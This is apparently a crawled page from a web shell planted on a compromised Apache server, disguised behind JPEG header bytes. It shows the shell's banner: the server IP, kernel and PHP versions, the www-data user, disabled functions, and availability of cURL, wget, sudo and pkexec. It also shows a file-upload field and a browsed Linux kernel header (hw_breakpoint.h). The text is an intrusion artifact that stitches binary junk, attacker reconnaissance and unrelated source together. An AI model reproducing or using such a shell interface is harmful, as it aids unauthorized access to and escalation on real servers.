????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.59.14.52 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/linux-headers-3.13.0-49/arch/x86/include/asm/ |
Upload File : |
#ifndef _I386_HW_BREAKPOINT_H #define _I386_HW_BREAKPOINT_H #include <uapi/asm/hw_breakpoint.h> #define __ARCH_HW_BREAKPOINT_H /* * The name should probably be something dealt in * a higher level. While dealing with the user * (display/resolving) */ struct arch_hw_breakpoint { unsigned long address; u8 len; u8 type; }; #include <linux/kdebug.h> #include <linux/percpu.h> #include <linux/list.h> /* Available HW breakpoint length encodings */ #define X86_BREAKPOINT_LEN_X 0x40 #define X86_BREAKPOINT_LEN_1 0x40 #define X86_BREAKPOINT_LEN_2 0x44 #define X86_BREAKPOINT_LEN_4 0x4c #ifdef CONFIG_X86_64 #define X86_BREAKPOINT_LEN_8 0x48 #endif /* Available HW breakpoint type encodings */ /* trigger on instruction execute */ #define X86_BREAKPOINT_EXECUTE 0x80 /* trigger on memory write */ #define X86_BREAKPOINT_WRITE 0x81 /* trigger on memory read or write */ #define X86_BREAKPOINT_RW 0x83 /* Total number of available HW breakpoint registers */ #define HBP_NUM 4 static inline int hw_breakpoint_slots(int type) { return HBP_NUM; } struct perf_event; struct pmu; extern int arch_check_bp_in_kernelspace(struct perf_event *bp); extern int arch_validate_hwbkpt_settings(struct perf_event *bp); extern int hw_breakpoint_exceptions_notify(struct notifier_block *unused, unsigned long val, void *data); int arch_install_hw_breakpoint(struct perf_event *bp); void arch_uninstall_hw_breakpoint(struct perf_event *bp); void hw_breakpoint_pmu_read(struct perf_event *bp); void hw_breakpoint_pmu_unthrottle(struct perf_event *bp); extern void arch_fill_perf_breakpoint(struct perf_event *bp); unsigned long encode_dr7(int drnum, unsigned int len, unsigned int type); int decode_dr7(unsigned long dr7, int bpnum, unsigned *len, unsigned *type); extern int arch_bp_generic_fields(int x86_len, int x86_type, int *gen_len, int *gen_type); extern struct pmu perf_ops_bp; #endif /* _I386_HW_BREAKPOINT_H */